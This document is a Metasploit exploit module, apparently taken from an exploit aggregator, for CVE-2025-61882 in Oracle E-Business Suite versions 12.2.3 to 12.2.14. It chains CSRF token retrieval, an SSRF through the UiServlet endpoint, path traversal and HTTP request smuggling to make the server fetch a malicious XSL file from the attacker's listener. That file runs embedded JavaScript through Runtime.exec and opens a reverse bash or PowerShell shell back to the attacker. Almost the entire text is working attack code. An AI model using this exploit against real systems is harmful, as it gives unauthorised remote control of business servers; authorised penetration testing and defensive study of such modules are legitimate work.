Share
## https://sploitus.com/exploit?id=PACKETSTORM:214189
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Retry
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Oracle E-Business Suite CVE-2025-61882 RCE',
            'Description' => %q{
              This module exploits CVE-2025-61882 in Oracle E-Business Suite
              by combining SSRF, Path Traversal, HTTP request smuggling and XSLT injection.
    
              The exploit hosts a malicious XSL file
              that the target will fetch and process, leading to RCE.
    
              This module provides an interactive shell session.
              Vulnerable versions affected are 12.2.3-12.2.14.
            },
            'Author' => [
              'watchTowr (Sonny, Sina Kheirkhah, Jake Knott)', # Original Python POC and blog Article
              'Mathieu Dupas' # Metasploit module development
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-61882'],
              [
                'URL',
                'https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/'
              ],
              ['URL', 'https://www.oracle.com/security-alerts/alert-cve-2025-61882.html']
            ],
            'Targets' => [
              [
                'Linux/Unix (Interactive Shell)',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                    # Simple payload but feel free to use meterpreter ones if needed
                  }
                }
              ],
              [
                'Windows (Interactive Shell)',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/windows/reverse_powershell'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-10-04',
            'DefaultOptions' => {
              'WfsDelay' => 10
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options([
          Opt::RPORT(8000),
          OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']),
          OptString.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']),
          OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]),
          OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]),
          OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30])
        ])
      end
    
      def check
        vprint_status('Checking if target is vulnerable...')
    
        return CheckCode::Safe unless oracle_ebs_detected?
    
        csrf_token = retrieve_csrf_token
        return CheckCode::Unknown unless csrf_token
    
        return CheckCode::Appears if vulnerable_servlet_accessible?(csrf_token)
    
        CheckCode::Safe
      end
    
      # Serve malicious XSLT file
      def on_request_uri(cli, request)
        print_good("Received request: #{request.method} #{request.uri} from #{cli.peerhost}:#{cli.peerport}")
    
        if request.uri.include?('.xsl')
          print_good("Serving  XSL payload to #{cli.peerhost}...")
    
          xsl_content = generate_xsl_payload
    
          send_response(cli, xsl_content, {
            'Content-Type' => 'application/xml',
            'Content-Length' => xsl_content.length.to_s,
            'Connection' => 'close'
          })
    
          # Mark XSL file as served
          @xsl_served = true
          print_good("XSL payload delivered successfully to #{cli.peerhost} (#{xsl_content.length} bytes)")
    
        else
          print_warning("Unexpected request for #{request.uri}, #{cli.peerhost} sending 404")
          send_not_found(cli)
        end
      end
    
      def generate_xsl_payload
        command = payload.encoded
        vprint_status("Generated command: #{command}")
    
        # Adapt the command to the platform
        base_cmd = case target['Platform']
                   when 'win'
                     ['cmd.exe', '/c']
                   else
                     ['sh', '-c']
                   end
    
        # Escaping apostrophes and backslashes
        escaped_command = command.gsub('\\', '\\\\\\\\').gsub("'", "\\\\'")
    
        js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
        # JavaScript code that will be executed server side via XSLT
        js = %|
        var #{js_vars[:string_c]} = java.lang.Class.forName('java.lang.String');
        var #{js_vars[:cmds]} = java.lang.reflect.Array.newInstance(#{js_vars[:string_c]}, 3);
        java.lang.reflect.Array.set(#{js_vars[:cmds]}, 0, '#{base_cmd[0]}');
        java.lang.reflect.Array.set(#{js_vars[:cmds]}, 1, '#{base_cmd[1]}');
        java.lang.reflect.Array.set(#{js_vars[:cmds]}, 2, '#{escaped_command}');
        var #{js_vars[:run_time]} = java.lang.Runtime.getRuntime();
        var #{js_vars[:proc]} = #{js_vars[:run_time]}.exec(#{js_vars[:cmds]});
        1
        |
    
        # Encode in base64 to avoid problems with XML parsing
        encoded_js = Rex::Text.encode_base64(js)
    
        # Generate XSLT
        %|<?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="1.0"
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
        xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
        xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
        xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
        <xsl:template match="/">
            <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'#{encoded_js}')"/>
            <xsl:variable name="js" select="str:new($bs)"/>
            <xsl:variable name="m" select="jsm:new()"/>
            <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
            <xsl:variable name="code" select="eng:eval($e, $js)"/>
            <xsl:value-of select="$code"/>
        </xsl:template>
    </xsl:stylesheet>|
      end
    
      def exploit
        @xsl_served = false
        @session_created = false
    
        # Step 1 : Start HTTP server for XSL file serving
        print_status("Starting HTTP server on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
        start_service(
          'Uri' => {
            'Proc' => proc { |cli, request| on_request_uri(cli, request) },
            'Path' => '/'
          }
        )
    
        # construct server URL
        server_url = get_uri
        xsl_url = "#{server_url}#{Rex::Text.rand_text_alpha(8)}.xsl"
        print_status("XSL payload will be served at: #{xsl_url}")
    
        # Step 2: Get CSRF token
        print_status('Retrieving CSRF token from target...')
        csrf_token = retrieve_csrf_token
    
        fail_with(Failure::Unknown, 'Could not retrieve CSRF token') unless csrf_token
    
        print_good("CSRF token retrieved: #{csrf_token}")
    
        # Step 3: Smuggle payload
        print_status('Creating HTTP request smuggling payload...')
        smuggle_payload = create_smuggle_payload
    
        vprint_status("Smuggled payload created (#{smuggle_payload.length} bytes)")
    
        # Step 4: Send exploit request
        print_status('Triggering exploitation via UiServlet...')
        send_exploit_request(smuggle_payload)
    
        # Step 5: Wait for XSLT file download
        print_status("Keeping HTTP server alive, waiting for callback to #{datastore['LHOST']}:#{datastore['LPORT']}...")
    
        begin
          # Wait for XSL request
          retry_until_truthy(timeout: datastore['HTTP_TIMEOUT']) do
            @xsl_served
          end
    
          # Wait for shell connection
          print_status("Waiting up to #{datastore['SHELL_TIMEOUT']} seconds for reverse shell connection...")
          retry_until_truthy(timeout: datastore['SHELL_TIMEOUT']) do
            session_created?
          end
    
          print_good('Session created successfully!')
          @session_created = true
        rescue ::Timeout::Error
          if !@xsl_served
            print_error("XSL request timeout (#{datastore['HTTP_TIMEOUT']}s) expired")
          else
            print_error("Shell timeout (#{datastore['SHELL_TIMEOUT']}s) expired")
          end
        end
      end
    
      def retrieve_csrf_token
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
          'keep_cookies' => true
        })
    
        return nil unless res
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
          'headers' => {
            'CSRF-XHR' => 'YES',
            'FETCH-CSRF-TOKEN' => '1'
          },
          'keep_cookies' => true
        })
    
        if res && res.code == 200 && res.body
          parts = res.body.split(':')
          return parts[1].strip if parts.length >= 2
        end
    
        nil
      rescue ::Rex::ConnectionError, ::Timeout::Error => e
        vprint_error("Connection failed: #{e.class}")
        nil
      end
    
      def create_smuggle_payload
        srvhost = datastore['SRVHOST']
        srvport = datastore['SRVPORT']
    
        srvhost = Rex::Socket.source_address(rhost) if srvhost == '0.0.0.0'
    
        smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n"
        smuggle_request += "Host: #{srvhost}:#{srvport}\r\n"
        smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n"
        smuggle_request += "Connection: keep-alive\r\n"
    
        # Add sessions cookies
        cookies = get_cookies
        smuggle_request += "Cookie: #{cookies}\r\n" if cookies && !cookies.empty?
    
        # Add POST request via CRLF
        smuggle_request += "\r\n\r\n\r\nPOST /"
    
        vprint_status("Smuggled request will target: #{srvhost}:#{srvport}")
        vprint_status('Full smuggled request:')
        vprint_line(smuggle_request) if datastore['VERBOSE']
    
        # Encode payload in HTML entities
        cook_smuggle_stub(smuggle_request)
      end
    
      def cook_smuggle_stub(payload)
        payload = payload.sub(/^(?:POST|GET) /, '')
    
        # Encode in HTML entities
        Rex::Text.html_encode(payload)
      end
    
      def send_exploit_request(encoded_payload)
        # Encoded payload is inserted in return_url (SSRF)
    
        xml = %(<?xml version="1.0" encoding="UTF-8"?>\
        <initialize>\
        <param name="init_was_saved">test</param>\
        <param name="return_url">http://apps.example.com:7201#{encoded_payload}</param>\
        <param name="ui_def_id">0</param>\
        <param name="config_effective_usage_id">0</param>\
        <param name="ui_type">Applet</param>\
        </initialize>)
    
        vprint_status('Sending exploit to UiServlet...')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
          'vars_post' => {
            'redirectFromJsp' => '1',
            'getUiType' => xml
          },
          'keep_cookies' => true
        })
    
        if res
          vprint_status("UiServlet responded with: #{res.code}")
          vprint_status("Response body length: #{res.body.length} bytes") if res.body
        else
          print_warning('No response from UiServlet (this might be normal)')
        end
    
        res
      end
    
      def get_cookies
        cookies = []
        cookie_jar.cookies.each do |cookie|
          cookies << "#{cookie.name}=#{cookie.value}"
        end
        cookies.join('; ')
      end
    
      def oracle_ebs_detected?
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp')
        })
    
        res && (res.headers['Server']&.include?('Oracle') ||
                res.body&.include?('Oracle')) # maybe to adapt for different versions. Fully Tested on version 12.2.12
      rescue StandardError
        false
      end
    
      def vulnerable_servlet_accessible?(_csrf_token)
        test_xml = '<?xml version="1.0" encoding="UTF-8"?>' \
                   '<initialize>' \
                   '<param name="init_was_saved">test</param>' \
                   '<param name="return_url">http://example.com/test</param>' \
                   '<param name="ui_def_id">0</param>' \
                   '<param name="config_effective_usage_id">0</param>' \
                   '<param name="ui_type">Applet</param>' \
                   '</initialize>'
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
          'vars_post' => {
            'redirectFromJsp' => '1',
            'getUiType' => test_xml
          },
          'keep_cookies' => true
        })
    
        res && [200, 302].include?(res.code)
      rescue StandardError
        false
      end
    end